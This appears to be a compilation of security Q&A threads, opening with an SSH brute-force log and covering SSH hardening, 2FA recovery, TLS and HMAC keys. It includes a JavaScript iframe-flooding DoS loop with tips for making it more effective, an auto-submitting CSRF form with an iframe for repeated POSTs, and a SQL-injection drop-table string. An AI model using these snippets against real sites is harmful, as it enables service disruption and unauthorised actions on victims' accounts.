Mar 25 16:49:54 f4arelay sshd[10831]: Failed password for invalid user git from 115.29.194.97 port 43574 ssh2
Mar 25 16:49:54 f4arelay sshd[10831]: Received disconnect from 115.29.194.97: 11: Bye Bye [preauth]
Mar 25 16:50:08 f4arelay sshd[10473]: pam_unix(sshd:session): session closed for user root
Mar 25 16:52:49 f4arelay sshd[10841]: Invalid user vagrant from 115.29.194.97
Mar 25 16:52:49 f4arelay sshd[10841]: input_userauth_request: invalid user vagrant [preauth]
Mar 25 16:52:49 f4arelay sshd[10841]: pam_unix(sshd:auth): check pass; user unknown
Mar 25 16:52:49 f4arelay sshd[10841]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.29.194.97
Mar 25 16:52:51 f4arelay sshd[10841]: Failed password for invalid user vagrant from 115.29.194.97 port 35672 ssh2
Mar 25 16:52:51 f4arelay sshd[10841]: Received disconnect from 115.29.194.97: 11: Bye Bye [preauth]
Mar 25 16:55:45 f4arelay sshd[10845]: Invalid user vnc from 115.29.194.97
Mar 25 16:55:45 f4arelay sshd[10845]: input_userauth_request: invalid user vnc [preauth]
Mar 25 16:55:45 f4arelay sshd[10845]: pam_unix(sshd:auth): check pass; user unknown
Mar 25 16:55:45 f4arelay sshd[10845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.29.194.97
Mar 25 16:55:47 f4arelay sshd[10845]: Failed password for invalid user vnc from 115.29.194.97 port 56011 ssh2
Mar 25 16:55:47 f4arelay sshd[10845]: Received disconnect from 115.29.194.97: 11: Bye Bye [preauth]
Mar 25 16:56:38 f4arelay sshd[10849]: Accepted password for root from 37.134.155.106 port 62645 ssh2
Mar 25 16:56:38 f4arelay sshd[10849]: pam_unix(sshd:session): session opened for user root by (uid=0)
Mar 25 16:56:38 f4arelay sshd[10849]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Mar 25 16:57:23 f4arelay sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/less /var/log/auth.log
Mar 25 16:57:23 f4arelay sudo: pam_unix(sudo:session): session opened for user root by root(uid=0)
Mar 25 16:58:48 f4arelay sshd[10900]: Invalid user test from 115.29.194.97
Mar 25 16:58:48 f4arelay sshd[10900]: input_userauth_request: invalid user test [preauth]
Mar 25 16:58:48 f4arelay sshd[10900]: pam_unix(sshd:auth): check pass; user unknown
Mar 25 16:58:48 f4arelay sshd[10900]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.29.194.97
Mar 25 16:58:50 f4arelay sshd[10900]: Failed password for invalid user test from 115.29.194.97 port 48110 ssh2
Mar 25 16:58:50 f4arelay sshd[10900]: Received disconnect from 115.29.194.97: 11: Bye Bye [preauth]
Mar 25 16:59:48 f4arelay sudo: pam_unix(sudo:session): session closed for user root
Mar 25 17:00:12 f4arelay sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/less /var/log/auth.log
Mar 25 17:00:12 f4arelay sudo: pam_unix(sudo:session): session opened for user root by root(uid=0)

As you can see there is one bot trying to connect continously my server.

I would like to know how to protect it from people like him, I know that is not possible to stop all of that people I just want to make sure that they wont get logged into my server.

Use key-based authentication for SSH instead of password authentication
Change your SSHd port to something other than 22 . This is security through obscurity but is probably justifiable in this case.
fail2ban users that try to connect on port 22 or try password authentication


Are IPs and domains in malwaredomainlist.com compromised? I did an nmap scan on a website that is being hosted by a hosting company. The results showed a rDNS record with an ip and a domain name. When I googled the domain name it appeared in malwaredomainlist.com. Does this mean this server is hosting malware along with websites? Are domains listed in malwaredomainlist.com compromised? If so should I contact the hosting company?

“Immortal” Malware Domains are those which were identified as
  malicious anywhere between 90 and 360 days ago. but according to
  google safebrowsing, are still actively involved in badness. Some of
  these domains have been on the DNS-BH List for YEARS.

This is quoted from the website you mentioned. This means it all depends if what you found is a recent or old news. Also try to navigate that website using Google Safe Browsing (activated by default on Google Chrome, Mozilla Firefox and Apple Safari). If the website is still hosting a malware you will see something like this:

You can not know if only the website is compromised or all the server that hosts it too (in which case the company that owns it should have done the necessary to clean it already, but as mentioned before the infection could last for many reasons).  You can not know because it depends on the way the attack was done and the security architecture of the hosting company (server).

Also, one thing to know is that lot of websites are blacklisted not because they host themselves badware but they simply redirect to other compromised websites.

You may also check if the domain is infected on this powerful service.

Before hiring that domain, better to contact the company first and talk to them about this issue.


Using mitmproxy to analyze mobile application and iOS network data I followed a guide where the author connected Windows PC and iPhone to his home WiFi network. He installed mitmproxy and ran mitmweb.exe on PC. On iPhone he went to wifi settings and set a manual proxy setting to the local IP of the PC and he set for port the default port where mitmproxy listens at, which is 8080.

I followed it and it works for browser apps (after installing certificate from mitm.it). It even worked for an app like “Maps” but it doesn’t work for many others. I was unable to use App Store, it said “unable to connect”.

My questions are: did these apps detect a local proxy configuration and refused to connect? Why are they set up like? How can I bypass it?

The apps don't directly detect a local proxy configuration. In fact, if the proxy would only be a proxy by directly forwarding the traffic, it would probably work. The mitm proxy also breaks up any encryption in the traffic by issuing its own certificate instead of the server supplied one.

The problem here is, that every application that actually verifies the server certificate will notice that the supplied certificate from mitm.it is not valid.

There are some methods that are in place to check the validity.

The simplest one is, that the mitm.it certificate is not issued by a trusted CA (Certificate Authority).

Another method that could be at work here is public key pinning. By using this the application does not just expect any matching trusted certificate of the server, but a very specific one. If gets any other certificate, the validation fails.

Also see OWASP PKP

Now to the question on how to bypass this. This does depend on the configuration of the app. If you can import the CA of mitm into the iPhone and set it as trusted, it should work. At least if PKP is not used. There is not workaround for PKP that I know of. I hope there isn't one.


Does a X.509 Certificate contain an ID of the Private Key? Does a X.509 Certificate contain some kind of ID that is associated with the Private Key that was used to create the Certificate?
So if i had a database of all my Private Key IDs, i could then look at a Certificate Field, that contains the ID and know which Private Key was used.
If so, what is the field? And is there ever a case where it may be empty? Or should it always have a value.

The certificate contains the public key matching the private key. This public key is actually the most important part of the certificate, the rest are just meta data which describe what this public key is for (i.e. owner), if it is valid, who signed it and for what purposes it can be used. The public key is thus always there, i.e. a certificate without key would not make sense.
The public key is all what is needed to find the matching private key when you have multiple private keys to choose from.


What kind of nefarious deeds can IP address Spoofing be used for? Possible Duplicate:
  What security risks does IP spoofing bring?

I found this article, which seems pretty good but was written in 2003 so I'm not sure how up to date it is.

Can IP address spoofing still be used for:

Denial of Service attacks
Man in the middle attacks

Are there other types of attacks this can be used for?

IP Spoofing with TCP over the open internet is impossible because of the three-way-handshake.   So you are limited to ICMP/UDP services or attacks on services available over the local LAN.  The local lan is an issue if you are able to sniff the network.  So this is a problem if you are on a broadcast network or using ARP poisoning on a switched network.  ARP poising is also a spoofed attack.

A good example of a spoofed icmp attack is the Smurf DoS Attack.  The UDP variant of this DoS attack is called the Fraggle attack.  (Who names these!?!??)  Also it should be noted that these attacks are old its unlikely that you'll find a vulnerable network.

So in conclusion IP spoofing has a very limited scope.  Because Its an attack that has been taken into consideration and its easy to prevent.


Are deleted WhatsApp (or similar) messages recoverable? When one deletes a Whatsapp (or other similar apps) message from a device (assume that no Google Drive, ICloud backup), can this message be recovered from the device? Does Whatsapp save messages into SQLite DB as normal text/unencrypted format?

Yes, it is possible, but like with many security questions it depends on the circumstances.

Generally the messages can't be recovered because WhatsApp state that they do not store chat histories on their servers.

If the message has been backed up using either iCloud Backup (for iOS devices) or Google Drive (for Android devices) then the message can be recovered when the user uninstalls WhatsApp and restores the backup.

To restore using the Google Drive method the user would need to restore to a local backup from the local WhatsApp database. This can be found in the WhatsApp > Database folder on the device. The filename is msgstore.db.crypt12 and there shoudl be various msgstore-YYYY-MM-DD.1.db.crypt12 files.

If the device is Android then it may also be possible to recover the message using a data recovery program such as Android Photo Recovery which utilises USB debugging mode to scan the device from a PC or a Mac.


What Kind of Site Would I Need To DDOS Recently I heard about Distributed Denial of Service and Denial of Service attacks and to see how this worked, I made a quick script (this is not a debug thing, I have an actual question about Cyber Security)

function _DDoS(url){
document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>';
}
for(;;){
setTimeout(_DDoS("http://ddosthissiteorsomething.com/index.html"),10);
}

Now my question here is would this work against a normal HTML site that displays text and an image or would it need to be against a site that sends post requests to a server or is in php?

I'm really sorry if this is a dumb question I can't find any helpful sites and I thought of Stack but my latest questions haven't been taken in very well.

Plainly speaking, denial of service attacks can be targetted at anything. The point of a denial of service attack of that nature is simply to overwhelm the target.

Pointing this attack at something that takes longer (such as some sort of more complex php page/request) would yield a more effective denial of service attack, because the server will have to spend more time serving each request. If you're hitting a static page like index.html it's likely that that file could be cached or even served by a proxy - Depending largely on the target server's implementation.

To make the attack more effective, you should consider longer-running queries, such as things that talk to a database or to the filesystem.

Minor JavaScript note: You can use setInterval instead of setTimeout in a loop


Considerations for security release notes I need help with understanding how to manage security release notes for our product.
We create major release of our product about each half years and security or maintenance releases each month.

What should I consider regarding what we tell our customers about security?

Should we tell them that we upgrade our 3-d party software?
E.g. should we tell them we upgrade Apache Httpd server version?
Should we list vulnerabilities fixed in Apache Httpd?
Or enough to link to Apache site?
Should we manage the list of 3-d party software with versions?
What about our internal security vulnerabilities?
Should we list the list of fixed security vulnerabilities? This may endanger those customers that will not upgrade to the latest version.
How should we announce about security vulnerabilities?
Should we add our company as a vendor to CVE database http://cve.mitre.org/ (like Apache) and create new CVE each time we found it? Or is it enough to list our internal bug number?
Should we add to CVE database only vulnerabilities that were discovered by our customers? Or should we add to CVE database also vulnerabilities that were discovered by QA?

(Our product is Java Web Application that runs on Apache and Tomcat.)

Great question! I've written a few of these, but always had a very formal way of doing it, such that I never had the option to think about what's really needed...

Coming from the perspective of the people who have to use and support and upgrade your product, I think you need to cover:

High level information (and a pointer if possible to details) - on why the fix was needed.  Something like - "corrected string buffer handling in XYZ component" is helpful.
Known issues - anything that you couldn't fix yet that is still in there.
Upgrades of third party software and a place to find current baseline of all 3rd party software, whether it was upgraded or not.

In essence, they need to know what you fixed and your baseline is.  Particularly in the world of Java, there can be enough conflicts and issues, that a wise company should keep a running tally of what servers are running what versions of the JVMs and other components.

Some other specific answers for your questions:

Should we list vulnerabilities fixed in Apache Httpd? Or enough link to Apache site?

A link would be a kindess.  Don't clutter up YOUR release notes with other product's details.

Should we manage the list of 3-d party software with versions?

It should be available somewhere, I'm not sure that it has to be in the release notes, but if not, then it should be on your website somewhere.

What about our internal security vulnerabilities? Should we list the list of fixed security vulnerabilities? It may danger those customers that will not upgrade to the latest version.

Keep in mind that a failure to disclose known vulnerabilities could be seen as a legal liability. This is one for your lawyers.  IMO, telling customers so that they know why a security fix is so important is more outweighs the value of obscuring it for the safety of those that can't upgrade fast enough.  That said, you don't have to say "if you X, Y, Z you'll get admin privileges".  Saying "severed vulnerability in access control system" should be good enough.

How should we announce about security vulnerabilities? Should we add our vendor to CVE database http://cve.mitre.org/ and create new CVE each time we found it? Or enough to list our internal bug number?

I'm not really sure what you mean by "our vendor" - I personally wouldn't register a 3rd party for CVE findings without agreeing with them on it.

Should we add to CVE database only vulnerabilities that were discovered by our customers? Should we add to CVE database also vulnerabilities that were discovered by QA?

I have yet to hear of any vendor using CVE for internal test/fix documentation.  I think if you found it first, linking to your own repository of fixed bugs should be fine, but I haven't made that much commercial software.


XSS from image upload - does cropping solve most issues? I am testing an image uploader but I'm a mere developer.  Here are the main points to consider:

There are no extension checks.
The image is uploaded to memory.
It is modified to be a certain size (50px x 50px).
It is saved to the database.
From testing, it seems if the image size failed, then on re-render the image displayed is simply broken
The app is asp.net and is on a Windows server.

With the exception of dodgy file name changing in Linux, is there a weakness? Can anything be executed if it's saved to the DB?  I will suggest whitelisting extensions and content type, but is it necessary?  If possible please provide a very basic (safe!) example of any major issues.

You can create an entirely new copy of the image, store that, and then discard the original.

Your path would become:

Upload image.
Crop to 50px x 50px.
Use ImageMagick or something similar to create an empty 50x50 image (in whatever standard format you want or with other controls added).
Copy the pixel data from the original to the new.
Save the new version.

If ImageMagick can't read the original, then perhaps there's something funny going on and it should be rejected anyway.


ISO 27001 scoping for small company using all cloud-based services I'm in the process of defining the scope definition according to ISO 27001 for a company whose core business process is based on the analysis of health-related data. The IT infrastructure is entirely based on the cloud and the company has no dedicated physical location. This is a small size organization (20+ people) all work remotely by connecting to the cloud.

Given this scenario, can we implement ISO 27001 for my organization without a dedicated location? The organization is registered.

Unfortunately, it is not possible right now to certify a company to ISO 27001 without a physical location in scope @Santhosh.

While @Tom is right by stating there is nothing in the ISO 27001 standard that mandates a physical location, you will have a really hard time finding a certification body willing to accept such a scope.

This is because the document:

"ISO/IEC 17021-1:2015
Conformity assessment -- Requirements for bodies providing audit and certification of management systems -- Part 1: Requirements." that is available here: https://www.iso.org/standard/61651.html states in clause 8.2.2 a) that a geographic location is required for the certificate.

With no geographic location to place on the certificate, no certification body I have been able to contact is willing to certify the ISMS.


Is it bad to reveal random bytes from a system? Let's say you cat /dev/random or /dev/urandom all day from boot to system shutdown, either redirecting the output to a file, or just catting it (in a terminal, or whatever) doesn't matter. Is this insecure, or a bad idea? If so, why?
Revealing random bytes when the system (and/or the applications running on it, think e.g sudo - when changing a password, or a browser that needs to generate session keys, (..) ) Does this pose any threat/or increase any kind of risk on any level?
By the way: The system that uses these PRNGS are compromised. The adversary has root access to the system.
If it does not pose a risk, or "is not a bad idea", doesn't it make (even if the chance or amount is extremely small!) the PRNG in question more predictable?

A secure CSPRNG, like the ones currently and historically used in Linux and most other Unix operating systems, should not leak information from its output.  In other words, exposing part of its output (by running cat /dev/urandom) should not tell you anything about the rest of its output (used by other programs on the system).
Linux uses a frequently reseeded ChaCha20 stream cipher, and other Unix-like systems use Fortuna or Yarrow.  All of these designs are constructed such that even if the state of the PRNG is exposed (which it could not be without access to the kernel), assuming the state stops being exposed and sufficient entropy is regained after that exposure, future outputs will become secure (unpredictable) once again.
Having said that, in general we assume if the attacker is root, that they can execute arbitrary code on the system, including in the kernel, and as such the state of the PRNG is compromised.  That isn't necessarily true; for example, most distros configure their kernels such that if Secure Boot is used, the kernel is locked down and root cannot read or write arbitrary kernel memory or load untrusted modules.  However, most folks working in security will assume that a root compromise implies a full system compromise including kernelspace.
If the attacker is not root, then the CSPRNG is probably secure.


Is it possible to take down a site using javascript in the URL bar? If a site is written poorly enough, is it possible to take it down or severely mess with it using only javascript in the URL bar?

Yes, in theory, a site could have a javascript function that will initiate an AJAX call to destroy the site.  Then, you could just enter:

javascript:destroySite();

I can't think of why a site would have a destroySite function, but it is theoretically possible.  More likely would be some sort of search function, which is vulnerable to SQL injection:

javascript:search("'; drop table users; --");

I should add that these attack vectors rely on server-side vulnerabilities, and you should shore up your server-side code to protect against SQL injection, and make sure that you authenticate any AJAX requests that should require authentication, before allowing them to change anything on the server.

Essentially, the bottom line is:
Never trust user input, and AJAX requests are user input


Do account recovery options defeat stronger 2-factor authentication? 2-factor authentication (2FA) is encouraged in order to reduce the risk of an account being compromised since the attacker has to know more than just your password. There are many ways to deploy 2FA, and some ways are considered weaker than others (e.g. SMS vs. Yubikey).

Services providers usually give recovery options for users in case their second factor is lost, effectively replacing one second factor for another. But doesn't this defeat any strength in the original second factor?

It certainly can be! When designing such a system, you need to keep in mind that the Account Recovery mechanism will reduce a 2FA system to a 1FA system, so the Account Recovery mechanism needs to be held to the same (or higher) standard than the 2FA method.

Depending on the security policy of your organization, the following would probably be acceptable as "2FA Method <= Recovery Method":

2FA Method: None. Recovery Method: question & answer.
2FA Method: SMS / email OTP. Recovery Method: email password reset link.
2FA Method: OTP app. Recovery Method: recovery codes that you printed during setup.
2FA Method: OTP token or yubikey. Recovery Method: contact your administrator.

If answering "Name of your first pet?" was enough to get into account settings and disable a Yubikey, that would be a vulnerability worth reporting for sure.


Handling race condition at the time of renewing the session I've recently asked this question on SO. As the question was not answered yet, I've come up with an approach. But I wanted to check if there is not any security flaw in this solution.

Question

I had written a session management plugin in node.js for Muneem web framework. Here is pseudo code to create a new session;

function createSession(){
    // read encrypted session-id from the request
    if( sessionId ){
      // decrypt it
      if (decryptedSessionId ) {
        //read session detail from the store
        options.store.get(decryptedSessionId, (err, sessionFromStore) => {
          if(err){
            throw Error(err);
          }else if( sessionFromStore){
            if( shouldRenew(sessionFromStore) ){
              //delete previous session
              options.store.destroy(sessionFromStore.id, err=> {
                //update the session object in memory
              });
            }
          }else{ //session detail is not present in store
            // create new session
          }
        });
      } else { //invalid or tempered session
        // throw error
      }
    }else{ //session-id is not presnet in request
      // create new session
    }
}

As you can notice, I'm renewing a session when it is valid and satisfy certain conditions by deleting the previous session. But I don't update it in the store immediately. Instead, I update the session information in the store and set the cookies when the response is being sent to the client.

Now suppose a condition, when the server receives multiple requests with the same session-id which is eligible to renew. I renew the session on the first request.

Scenarios

Session is not updated in store. So I'll renew the previous session with another new session id. A user will have multiples session-id in this case.
Session is updated in the store. Now, the previous session will not be available in the store. I'll have to ask the user to login again if it is authorized session. Or I'll create another session.

Solution

To solve this race condition, I was thinking to create a DB table where the records can self-expired after a fix duration, say transition-time. When a session should be renewed, we do an entry in expired-session table with the old and new session id. Rest of the operations are the same as per above pseudo code. Now, if the next request with expired session-id reaches to the server within transition time, say 10 secs, then we'll fetch new session-id and continue the session.

Here is the full code, in case we need.

I believe this situation will never arise. As I read somewhere, there is no point of securing static files (CSS, img, js) which are used on a web page. Instead, we should authenticate the main route only.


How can I improve and secure automated signing? Automated signing of files, such as software packages or file backups, is inherently risky if a certain level of trust is given to it. Having signing be an automated process means that there's no user sitting by and verifying the files themselves.

That being a given, what are steps that can be taken to increase confidence in automated signatures?

Other than mandatory access control and basic securing of a Linux machine, what else can be done?

Typically, you have two vectors here.

Loss of the Private Key
Unauthorized use of the Private Key

Generally, some hardware backing is recommended to address #1, such as an HSM, SmartCard, or other physical crypto device.

These devices also typically have some from of access control, ranging from IP ACLS with passwords, all the way down to a pin with small retry counts.

As a general rule, you need to be restrictive on what can access the PK for signing, for example, if jenkins builds your software, then signs it, only allow jenkins processes to access the PK, additionally all signing could be performed on a seperate jenkins slave, which is as isolated as possible from everything else.

However, as we all well know, damage control is almost as important as the attempts made to prevent damage. One should ensure he/she has a way to revoke the signing key should it become compromised, and plans to replace and transition cleanly.


Does SSL protect you from DNS attacks? You can't use another website's certificate because when you replace the certificate's domain name with yours the certificate would become invalid (due to hashing). However, if you could make a user connect to a totally different IP-adress when they type www.google.com you could keep the certificate's domain name the same and thuss circumvent that security measure.
Is there a system in place that prevents you from doing this in either SSL or DNS? Or alternatively, is my understanding of SSL and DNS wrong?

Yes, SSL/TLS also protects you against spoofed DNS answers (at least for those connections which actually use TLS). The reason behind this is that a client has to compare the hostname you enter (in the Browser URL bar) with the hostnames listed in the certificate.

If you now get redirected to a wrong IP address this host has either a different hostname in the certificate, or it contains a hostname where it does not get CA signature for. Both will be flagged as a problem by the browser. You can also not steal a certificate from a valid host, because in order to use it as a server you also need its secret key.

This however only works if all hundreds of CAs of this world play by the rules and all clients do the checking.


What's so hard about making a PHP login system? Say that I have a user account system on my website. When I enter a username and password, it just checks it against a database using prepared statements. If the user tries to login more than once per 10 seconds, they are locked out for 10 minutes.

Most (even the simplest) login scripts I've seen feature more security than this, though I haven't looked at it in detail. What else would be necessary for a secure system? I've got brute force and SQL injection covered, what else is there?

Sorry for such a naive question, I'm new in the web development/security field.

You forgot at least:

Hashes (+ Salts, enough rounds, ...)
Password reset functionality
HTTPS (ok, not really a problem of PHP code)
Always changing the session ID on login and logout

and depending on the use case things like

2factor auth
Single login for multiple sites
...

Also see eg. https://www.owasp.org/index.php/Authentication_Cheat_Sheet

But yes, it doesn't have to be hard.

Are you wondering why there still are errors found, in (relatively) simple logins of some websites? Well, because even "simple" logins are too much for the vast majority of people. And even if we only consider people who can program enough to be able to do it, there are still enough just too lazy to properly do it because they can't be convinced that leaving part X out will be a problem. Or they know, but don't want to think about it because it's easier to be lazy.


How is the HMAC key exchanged? Just wondering about this. Does it need a PKI to work?

An HMAC key is a symmetric key, i.e. a bunch of bytes. The "symmetry" relates to the following important fact: the very same key is used both to produce a HMAC value over some message, and to verify the HMAC value over the message. In that sense, HMAC is not a digital signature algorithm (but some people are nonetheless talking of "signatures" about HMAC, which is both wrong and confusing).

Distributing symmetric keys is a complex endeavour for two reasons:

A secret value which travels is "less secret" because travel implies extra risks of exposure.
A secret can remain secret only if not too many people are aware of it. Therefore, if n people must be able to do symmetric cryptography with each other, you more or less need a shared secret per pair of users; so there will be n(n-1)/2 symmetric keys in the whole system.

To make things easier, public-key cryptography was invented. It is also known as asymmetric cryptography; when used with digital signatures, the key used to generate signatures is distinct from the key used to verify signatures; they are mathematically linked to each other, but it is not feasible (or so we hope) to recompute the signature generation key from the signature verification key. Therefore we can afford to make the latter public, hence the name.

Public-key cryptography makes the key distribution problem substantially easier:

The public keys are public, so confidentiality of transfer is no longer an issue.
Each user only has one public/private key pair, so there are much fewer keys altogether in the whole system.

Now public-key cryptography makes key distribution easier, not easy. You still have to come up with something which allows user to make sure that they use the right public keys. This is where PKI comes into play: a PKI is a system to distribute public keys.

So how would things go in practice ? Consider SSL/TLS, often used in combination with HTTP, yielding HTTPS. When a Web browser connects to a HTTPS-powered Web site:

An initial "handshake" procedure is performed, where the server shows his certificate to the client (the browser). This is PKI. The certificate contains the server's public key, and is signed, and that signature is the incarnation of the PKI. The client verifies a bunch of signature and is finally convinced that the public key it sees really is the genuine public key from the intended server.
Using the server's public key, more asymmetric cryptography occurs (this time a key exchange, possible based on asymmetric encryption, not signatures), which ends up with a nice result: client and server now know a shared secret value, and nobody spying on the line would be able to rebuild that value.
The shared secret value is then expanded (with a Key Derivation Function) into several symmetric keys, which the client and server will use to encrypt and MAC whatever data they then want to send to each other. In SSL/TLS, the usual MAC algorithm is HMAC.

The complete picture is that PKI is used to distribute public keys, and these public keys are then used with asymmetric cryptography to dynamically create a shared secret, and that shared secret is then used with symmetric algorithms such as HMAC.

So you do not distribute HMAC keys directly with a PKI; there is one intermediate layer.


Windows flags Microsoft Sysinternals .zip files as malicious Downloaded sdelete v2.01 from official Microsoft website using Google Chrome on Windows 10 Pro: https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

Basic info for SDelete.zip:

SHA256: e78fe7d61b760118529858351c20e2814d5ca8a0c16e7c65fd180fd12f431824
Size: 161107 bytes
Scan: Virustotal

Then tried to unzip the zip-file and got message "Windows found that this file is potentially harmful. To help protect your computer, Windows has blocked access to this file."

1) Why Windows detects this file as harmful?

2) How to fix this problem?

3) Does anyone get same warning with this file?

This has nothing to do with this specific file, and everything to do that it's a zip file downloaded from the Internet.

Open the properties for the zip file, and you should see an option for unblocking [like in the screenshot below] near the bottom of the General tab.   Unblock the file, and you should be able to unzip it.


It is not a hotspot, it was made to look like one while attacking my network It is my first time posting on this forum, so correct me if I do things incorrectly.

My ISP is Xfinity. I use their modem/router. I have been noticing unusual activities from  my network and an unknown ssid broadcasting from my modem. As a test, I disabled my wifi ( both 2.4 and 5) and my hotspot, so that the only internet coming from my modem was through ethernet yet, strange things kept on happening,  such as:

unknown device on my network that will show in the 10.0.0.1 page
The 10.0.0.1 page will not show current connected and trusted devices sometime, such as my own computer connected via ethernet.
the modem will enable and disable functions, such bridge mode, disable ssid broadcast, enable wifi It will do this by itself, not by my commands but by itself, please take that into consideration
Despite having disabling wifi and hotspot in 10.0.0.1, the modem lights will start flashing by themselves and an unknown ssid ( a secured connection named XFINITY) will start broadcasting. I think it was meant to make it look like a hotspot but hotspot are open to all devices connection, not a secured connection ( requiring username and password). It stops broadcasting when I turn off the modem and starts broadcasting again when I turn the modem back on.
changing the passwords on both Xfinity account and 10.0.0.1 page does not seem to have fixed the problem.

What could I do to fix all of those symptoms ?Thank you for any suggestions that can provided.

It sounds like some (or all) of what you are seeing may be related to the fact that Comcast/XFinity uses it's customers' routers to provide public wifi access.  See the following links for more information, including how to disable this on your router:

https://money.cnn.com/2014/06/16/technology/security/comcast-wifi-hotspot/

http://wifi.xfinity.com/

https://www.xfinity.com/support/articles/disable-xfinity-wifi-home-hotspot


why is supporting digest authentication necessary instead of other more secure ways like applying non-reversible transformation to password? Why is supporting digest authentication necessary instead of other more secure ways like applying non-reversible transformation to password to encrypt them? Is it because the receiving end cannot process and verify?

Digest authentication is a specific algorithm to do authentication, not a storage method for passwords. So there is no "digest authentication ... instead of ... non-reversible transformation". Comparing one with the other is like comparing streets with cars.
Digest authentication requires though to store passwords (or something equivalent which can also be used for authentication) in a reversible way. So the real question is, why digest authentication is still used, even though it is known to be vulnerable against leaks of the stored passwords.
And the answer for this is, that security decisions are usually a trade-off, in case of digest authentication between securing passwords on the server vs. securing passwords in transit. Digest authentication can protect password on transit even if the connection is not encrypted, i.e. no TLS or similar used. Plainly sending username and password is instead not protected in this case. And there are still protocols which heavily rely on unencrypted connections, like SIP (voice over IP). In fact digest authentication is the standard authentication method defined for SIP.


PHP code injection using GET and echo I have found a piece of this code in a web application (simplified):

<?php $password="very-secret-password"; $param = $_GET["param"]; ?>
<html> ...
Param: <?php echo $param; ?>
... </html>

I know that this is like a call to XSS, but I would like to know if attacker can run his own PHP code here. By this, I mean something like displaying the password - page.php?param=; ?><?php echo $password; ?>, but specifically this did not work.

Googling and OWASP cheat sheets provided no information to this specific problem.

So, can attacker run his own PHP code here or it is not possible? If yes, how?
(PHP v5.6)

No, it's not possible to inject serverside code just via echoing CGI parameters. But as you say, it allows for a reflected XSS attack.

On the other hand, it's possible there may be other vulnerabilities in the code you did not include in your question.


Creating secure random output that is repeatable across machines I'm having trouble figuring out a solution to this problem.

Basically what i am trying to do is create random data that can be repeated across multiple machines by a user but is also secure from attackers.

How i'm tackling this problem now is a user enters a 5 digit pin. That 5 digit pin acts as a rng seed. If the user moves to a different machine, they can re enter that 5 digit pin and the rng output will be the same. This part is important for the system.

This works however the entropy of a 5 digit pin isn't enough to be considered a secure seed. I think what you want to see is 128 bits of entropy. An attacker can easily brute force a 5 digit pin.

Any thoughts as to how i can secure this more. "You can't" is an acceptable answer in my mind. If i need to implement something different than a rng i would appreciate some suggestions.

Thank you all

This is something that's fairly commonly done, and is the foundation for almost all 2nd-factor authentication methods (particularly those which are either device or app-based). The usual route that is taken is to generate a large random seed, and then use one of many methods to sync it (certificates, QR codes, and old fashioned multi-character alphanumerics are the common ones).

Essentially the problem you're trying to tackle is that of transmitting a potentially large key across a potentially insecure channel, and there's a few routes you can go down. If you're wanting to retain the human element, you could go down the route of a passphrase. Anything which translates to a sufficiently large binary number would do the trick, so a 16-character alpha-numeric passphrase would do the trick. 128 bits would be achieved by 8 characters, I think.


Security concerns of HTML echo endpoint Consider a website with an endpoint that, when a payload of an HTML string (full document or partial segment) is POST to it, the server will transform the payload (and sometimes no transform is applied) and return the transformed version of the input. What are the security concerns with this?

Further assumptions:

The content type does not need to be text/html (currently I have text/plain)
A user should be logged in and this can be validated
The site is loaded over SSL, no insecure resources loaded
This is already behind a referer-check filter to help mitigate CSRF

I don't think this will need to make it to a production environment but while I was considering the ramifications, I didn't come up with much so it piqued my interests.

Assuming stored XSS were possible, the stored XSS could use the echo endpoint to present a phishing version of the site (since further XSS resource loading through the echo would be permitted and trusted due to the same origin it was coming from).


Would it make sense if WiFi portals had a password to connect to the wifi too? It is often told that public open hotspots are dangerous because other can listen in.

Would it make any difference if there were a known password to log in to the network, and then a token/ticket/payment on the portal before getting internet access?

Is there even a problem if the access point is set up with client isolation?

Or does knowing the password mean you can just pick up the data "from the air" without connecting to the hotspot/AP?

If an attacker is able to access a wifi network (either an open one, or has the security key for it),  he or she is able to see all of the traffic that is being sent to other users on that network segment, even if he or she is not connected (associated) with the access point.  Additionally, the attacker may also be able to perform a Man-in-the-middle or Man-on-the-side attack where he/she is able to alter the data that is sent to the victim's machine.

Adding the encryption key only adds security if the attacker does not know it.  Once the attacker has it, it's basically the same as an open wifi network.


Why don't most banks in the UK use 2FA? Common UK banks such as Halifax rely on internet banking which consists of a username, password and then picking several characters from a drop down list?

Why is this more secure than using a username, password and a card reader or a mobile app to enter a one time password? Simply using a username with 2 passwords doesn't feel as secure, but I have no proof that it is less secure than using a combination of something you know and something you have.

It seems disappointing there's an obvious way to significantly and relatively easily improve security, but it's not been adopted.

Thoughts?

In some cases, they do use 2FA, but only for "high risk" transactions. For example, when I set up a new standing order or make a payment to an account I've not paid before, my bank requires that I use a 2FA code generated by a mini card reader, even though they don't require a code for me to log in and view data, nor to make a payment to an account I've paid before.

This is probably an attempt to balance usability and security - making "common" actions relatively frictionless, while making it hard to divert funds to an attacker (unless you've already paid the attacker legitimately). It could certainly be used to inconvenience people (an attacker who got into my account could send all the funds there to, for example, my electricity supplier, since I've previously made payments to them, which would be a pain to unravel, but it would be tricky for them to directly benefit.

It's not a universal situation though - some let you log in with a generated code, others require 2FA for all transactions, others don't support it at all.


Possible to submit multiple POST requests using CSRF? I am aware that you can execute a POST request using CSRF using the method below:

<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post">
    <!-- stuff -->
</form>
<script>document.x.submit();</script>

But this redirects the browser to the target site.  Is it possible to execute multiple POST requests using a single CSRF attack?

Yep - using an iframe is one approach:

<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post" target="thing">
<!-- stuff -->
</form>
<iframe name="thing"/>
<script>document.x.submit();</script>


How to be safe from browser-based key loggers? A browser-based keylogger usually comes in the form of a browser extension. It logs any or specific data entered anywhere in the browser.  The problem is that they do not get caught by the system's antivirus. Is there any way to stay safe from them?

Here you have some simple steps:

install AV and keep it updated
be careful of what you are installing on your system
keep away from social engineering tricks, like "check nude pics from your friend" - before that install this player, codec etc.
separate/isolate your browser, use another browser for important things, like banking etc.
enable 2FA protection for your accounts wherever is possible
sometimes virtual keyboards can be also useful


